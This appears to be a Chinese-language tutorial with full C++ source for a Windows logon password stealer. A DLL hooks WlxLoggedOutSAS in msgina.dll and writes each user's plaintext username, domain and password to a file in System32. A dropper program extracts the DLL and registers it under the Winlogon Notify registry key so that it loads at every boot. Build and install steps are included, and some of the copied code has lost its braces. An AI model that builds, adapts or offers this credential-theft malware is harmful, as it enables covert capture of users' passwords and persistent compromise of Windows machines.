获得系统密码(对Windows 7无效)


实现步骤:

1. 生成GetInfo.dll

2. 将生成的GetInfo.dll作为资源放到GetPwd工程中

3. 生成GetInfo.exe

4. 运行GetInfo.exe install

5. 重启机器,输入密码,进入系统后会得到C:\WINDOWS\System32\getPwdout.txt文件,文件内容为:

实现原理:

将GetInfo.dll,放在WinLogon\Notify注册表下时,系统启动后会自动加载GetInfo.dll,而GetInfo.dll在加载时会HOOK掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有

PWLX_MPR_NOTIFY_INFO

结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。。

GetInfo.dll的实现

  1. // GetInfo.cpp : Defines the entry point for the DLL application.  
  2. //  
  3.  
  4. #include "stdafx.h"  
  5. #include "GetInfo.h"  
  6. #include <stdio.h>  
  7. #include <fstream.h>  
  8. #include <iostream.h>  
  9.  
  10. //using namespace std;  
  11. //宏定义  
  12. #define WLX_SAS_ACTION_LOGON    (1)  
  13.  
  14. //WLX_MPR_NOTIFY_INFO结构  
  15. typedef struct _WLX_MPR_NOTIFY_INFO { 
  16.     PWSTR pszUserName; 
  17.     PWSTR pszDomain; 
  18.     PWSTR pszPassword; 
  19.     PWSTR pszOldPassword; 
  20. } WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO; 
  21.  
  22. //函数原形  
  23. typedef int (WINAPI* WlxLoggedOutSAS)( 
  24.                     PVOID pWlxContext, 
  25.                     DWORD dwSasType, 
  26.                     PLUID pAuthenticationId, 
  27.                     PSID pLogonSid, 
  28.                     PDWORD pdwOptions, 
  29.                     PHANDLE phToken, 
  30.                     PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  31.                     PVOID *pProfile 
  32.                     ); 
  33.  
  34. //自定义接管的API函数,形参保持一致  
  35. int WINAPI FunNewADDR( 
  36.                               PVOID pWlxContext, 
  37.                               DWORD dwSasType, 
  38.                               PLUID pAuthenticationId, 
  39.                               PSID pLogonSid, 
  40.                               PDWORD pdwOptions, 
  41.                               PHANDLE phToken, 
  42.                               PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  43.                               PVOID *pProfile 
  44.                     ); 
  45.  
  46.  
  47.  
  48. //定义字节对齐方式  
  49. #pragma pack(1)  
  50. struct HookTable{ 
  51.     HMODULE hMsgina; 
  52.     WlxLoggedOutSAS OldADDR; 
  53.     WlxLoggedOutSAS NewADDR; 
  54.     unsigned char charOldCode[6]; 
  55.     unsigned char charJmpCode[6]; 
  56. }; 
  57.  
  58. //全局hook表  
  59. HookTable hooktable = { 
  60. 0, 
  61. 0, 
  62. &FunNewADDR, 
  63. "\x8b\xff\x55\x8B\xEC"
  64. "\xE9\x00\x00\x00\x00" 
  65. }; 
  66.  
  67. #pragma  pack()  
  68.  
  69. //////////////////////////////////////////////////////////////////////////  
  70. /////函数声明  
  71. ///////////////////////////////////////////////////////////////////////////  
  72. VOID UnHookWlxLoggedOutSAS(); 
  73. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo); 
  74. DWORD WINAPI StartHook(LPVOID lpParam); 
  75. VOID HookWlxLoggedOutSAS(); 
  76.  
  77.  
  78. int WINAPI FunNewADDR( 
  79.                       PVOID pWlxContext, 
  80.                       DWORD dwSasType, 
  81.                       PLUID pAuthenticationId, 
  82.                       PSID pLogonSid, 
  83.                       PDWORD pdwOptions, 
  84.                       PHANDLE phToken, 
  85.                       PWLX_MPR_NOTIFY_INFO pNprNotifyInfo, 
  86.                       PVOID *pProfile 
  87.                     ) 
  88. /************************************************************************/ 
  89. /* 函数说明:自定义函数,用来取代WlxLoggedOutSAS                        */ 
  90. /* 参数:与WlxLoggedOutSAS参数相同                                      */ 
  91. /* 返回值:与WlxLoggedOutSAS返回值相同                                  */ 
  92. /************************************************************************/ 
  93.     UnHookWlxLoggedOutSAS(); 
  94.  
  95.     int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile); 
  96.     if (i == WLX_SAS_ACTION_LOGON) 
  97.     { 
  98.         WriteLog(pNprNotifyInfo); 
  99.     } 
  100.     return i; 
  101.  
  102.  
  103.  
  104. VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo) 
  105. /************************************************************************/ 
  106. /* 函数说明:将得到的用户名和密码信息写入%system%/getPwdout.txt文件中   */ 
  107. /* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */ 
  108. /* 返回值:无                                                           */ 
  109. /************************************************************************/ 
  110.     char szSystemDir[MAX_PATH] = {0}; 
  111.     GetSystemDirectory(szSystemDir, MAX_PATH - 1 ); 
  112.     char szFilePath[MAX_PATH] = {0}; 
  113.     strcat(szFilePath, szSystemDir); 
  114.     strcat(szFilePath, "\\getPwdout.txt"); 
  115.  
  116.     ofstream  outfile; 
  117.     outfile.open(szFilePath); 
  118.  
  119.     char szContent[1024 * 4] = {0}; 
  120.     sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword); 
  121.      
  122.     outfile.write(szContent, strlen(szContent)); 
  123.     outfile.close(); 
  124.  
  125.  
  126. VOID HookWlxLoggedOutSAS() 
  127. /************************************************************************/ 
  128. /* 函数说明:HOOK WlxLoggedOutSAS函数                              */ 
  129. /* 参数:无                                                             */ 
  130. /* 返回值:无                                                           */ 
  131. /************************************************************************/ 
  132.     DWORD OldProcte; 
  133.     VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); 
  134.  
  135.     unsigned char *p = (unsigned char*)hooktable.OldADDR; 
  136.     for (int i=0; i < 5; i++) 
  137.     { 
  138.         p[i] = hooktable.charJmpCode[i]; 
  139.     } 
  140.     VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); 
  141.     return
  142.  
  143. VOID UnHookWlxLoggedOutSAS() 
  144. /************************************************************************/ 
  145. /* 函数说明:恢复WlxLoggedOutSAS函数的原形                              */ 
  146. /* 参数:无                                                             */ 
  147. /* 返回值:无                                                           */ 
  148. /************************************************************************/ 
  149.     DWORD OldProcte; 
  150.     VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte); 
  151.      
  152.     unsigned char *p = (unsigned char*)hooktable.OldADDR; 
  153.     for (int i=0; i < 5; i++) 
  154.     { 
  155.         p[i] = hooktable.charOldCode[i]; 
  156.     } 
  157.     VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte); 
  158.     return
  159.  
  160. DWORD WINAPI StartHook(LPVOID lpParam) 
  161. /************************************************************************/ 
  162. /* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */ 
  163. /* 参数:无                                                             */ 
  164. /* 返回值:0表示成功                                                    */ 
  165. /************************************************************************/ 
  166.     //得到msgina.dll  
  167.     //hooktable.hMsgina   
  168.     int n = 0; 
  169.     hooktable.hMsgina = LoadLibrary("msgina.dll"); 
  170.     n  = GetLastError(); 
  171.     if (NULL == hooktable.hMsgina) 
  172.     { 
  173.         printf("getmoduleHandle msgina.dll error"); 
  174.         return -1; 
  175.     } 
  176.     //得到WlxLoggedOutSAS  
  177.     hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS"); 
  178.     if (NULL == hooktable.OldADDR) 
  179.     { 
  180.         printf("GetProcAddress WlxLoggedOutSAS error"); 
  181.         return -1; 
  182.     } 
  183.     int *OpCode = (int*)&hooktable.charJmpCode[1]; 
  184.     int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5; 
  185.     *OpCode = Code; 
  186.     HookWlxLoggedOutSAS(); 
  187.     return 0; 
  188. BOOL APIENTRY DllMain( HANDLE hModule,   
  189.                        DWORD  ul_reason_for_call,   
  190.                        LPVOID lpReserved 
  191.                      ) 
  192. /************************************************************************/ 
  193. /* 函数说明:DLL的主函数                                             */ 
  194. /* 参数:                                                              */ 
  195. /* 返回值:                                                             */ 
  196. /************************************************************************/ 
  197.     switch (ul_reason_for_call) 
  198.     { 
  199.         case DLL_PROCESS_ATTACH: 
  200.             { 
  201.                 //::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);  
  202.                 StartHook(NULL); 
  203.             } 
  204.             break
  205.         case DLL_THREAD_ATTACH: 
  206.         case DLL_THREAD_DETACH: 
  207.         case DLL_PROCESS_DETACH: 
  208.             break
  209.     } 
  210.     return TRUE; 
  211.  
  212. // This is the constructor of a class that has been exported.  
  213. // see GetInfo.h for the class definition  
  214. CGetInfo::CGetInfo() 
  215. {   
  216.     return;   
  217.  
  218. extern "C" __declspec(dllexportvoid start() 
  219.     return

外壳工程:

  1. // getpwd.cpp : Defines the entry point for the console application.  
  2. //  
  3.  
  4. #include "afx.h"  
  5. #include <Windows.h>  
  6. #include "resource.h"  
  7. #include <Winerror.h>  
  8. #include <Shlwapi.h>  
  9. #pragma comment(lib, "Shlwapi.lib")  
  10.  
  11. LPBYTE CString_To_LPBYTE(CString str) 
  12. /************************************************************************/ 
  13. /* 函数说明:将cstring类型转换成LPBYTE类型                              */ 
  14. /* 参数:str 要转换的CString类型                                        */ 
  15. /* 返回值:LPBYTE 转换后的LPBYTE类型                                    */ 
  16. /************************************************************************/ 
  17.  
  18.     LPBYTE lpb=new BYTE[str.GetLength()+1]; 
  19.     for(int i=0;i<str.GetLength();i++) 
  20.         lpb[i]=str[i]; 
  21.     lpb[str.GetLength()]=0; 
  22.     return lpb; 
  23.  
  24. BOOL install() 
  25. /************************************************************************/ 
  26. /* 函数说明:释放DLL,并将DLL的路径写入到注册表中                       */ 
  27. /* 参数:无                                                             */ 
  28. /* 返回值:无                                                           */ 
  29. /************************************************************************/ 
  30.     //释放资源  
  31.     //定位我们的自定义资源,这里因为我们是从本模块定位资源,所以将句柄简单地置为NULL即可  
  32.     HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL")); 
  33.     if (NULL == hRsrc) 
  34.         return FALSE; 
  35.     //获取资源的大小  
  36.     DWORD dwSize = SizeofResource(NULL, hRsrc);   
  37.     if (0 == dwSize) 
  38.         return FALSE; 
  39.     //加载资源  
  40.     HGLOBAL hGlobal = LoadResource(NULL, hRsrc);   
  41.     if (NULL == hGlobal) 
  42.         return FALSE; 
  43.     //锁定资源  
  44.     LPVOID pBuffer = LockResource(hGlobal);   
  45.     if (NULL == pBuffer) 
  46.         return FALSE; 
  47.      
  48.     char szSystemDir[MAX_PATH] = {0}; 
  49.     GetSystemDirectory(szSystemDir, MAX_PATH-1); 
  50.     char szRelDll[MAX_PATH] = {0}; 
  51.     strcat(szRelDll, szSystemDir); 
  52.     strcat(szRelDll, "\\GetInfo.dll"); 
  53.     DeleteFile(szRelDll); 
  54.     HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 
  55.     if (NULL == hFile) 
  56.     { 
  57.         return FALSE; 
  58.     } 
  59.     DWORD dwWritten; 
  60.     WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL); 
  61.  
  62.     CloseHandle(hFile);   
  63.     FreeResource(hGlobal); 
  64.  
  65.     //将释放的DLL写入到注册 表的WINLOGON下,当WINLOGON启动时,会加载这个DLL  
  66.     CString strDllPath = szRelDll; //("dog");  
  67.     //设置有关的数据  
  68.     //CString_To_LPBYTE,请参考下面的函数  
  69.     LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定义用户姓名 owner_Set  
  70.     DWORD type_1=REG_SZ;//定义数据类型  
  71.     DWORD cbData_1=strDllPath.GetLength()+1;//定义数据长度  
  72.      
  73.     DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1); 
  74.     if (ERROR_SUCCESS  != status) 
  75.     { 
  76.         printf("write reg:dllname error"); 
  77.         return FALSE; 
  78.     } 
  79.      
  80.     CString  strStartUp("dog"); 
  81.     LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定义公司名称 company_Set  
  82.     DWORD type_2=REG_SZ;//定义数据类型  
  83.     DWORD cbData_2=strStartUp.GetLength()+1;//定义数据长度  
  84.      
  85.     status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2); 
  86.     if (ERROR_SUCCESS  != status) 
  87.     { 
  88.         printf("write reg:dllname error"); 
  89.         return FALSE; 
  90.     } 
  91.  
  92.     return TRUE; 
  93.  
  94. BOOL decry() 
  95. /************************************************************************/ 
  96. /* 函数说明:用于解密生成的密码文件,生成密码文件时没有加密,所以这里没实现*/ 
  97. /* 参数:无                                                             */ 
  98. /* 返回值:无                                                           */ 
  99. /************************************************************************/ 
  100.     return TRUE; 
  101.  
  102. VOID usage() 
  103. /************************************************************************/ 
  104. /* 函数说明:打印使用帮助                                               */ 
  105. /* 参数:无                                                             */ 
  106. /* 返回值:无                                                           */ 
  107. /************************************************************************/ 
  108.     printf("************************************\n"); 
  109.     printf("usages:\n"); 
  110.     printf("getpwd.exe install\n"); 
  111.     printf("getpwd.exe decryp\n"); 
  112.     printf("************************************\n"); 
  113.  
  114.  
  115. int main(int argc, char* argv[]) 
  116. /************************************************************************/ 
  117. /* 函数说明:Main函数                                                   */ 
  118. /* 参数:无                                                             */ 
  119. /* 返回值:无                                                           */ 
  120. /************************************************************************/ 
  121.     if (argc != 2) 
  122.     { 
  123.         usage(); 
  124.         return -1; 
  125.     } 
  126.     if (stricmp(argv[1], "install") == 0) 
  127.     { 
  128.         install(); 
  129.         getchar(); 
  130.         return 0; 
  131.     } 
  132.     else if (stricmp(argv[1], "decryp") == 0) 
  133.     { 
  134.         decry(); 
  135.         return 0; 
  136.     } 
  137.     else 
  138.     { 
  139.         usage(); 
  140.         return 0; 
  141.     } 
  142.      
  143.     return 0; 

相关内容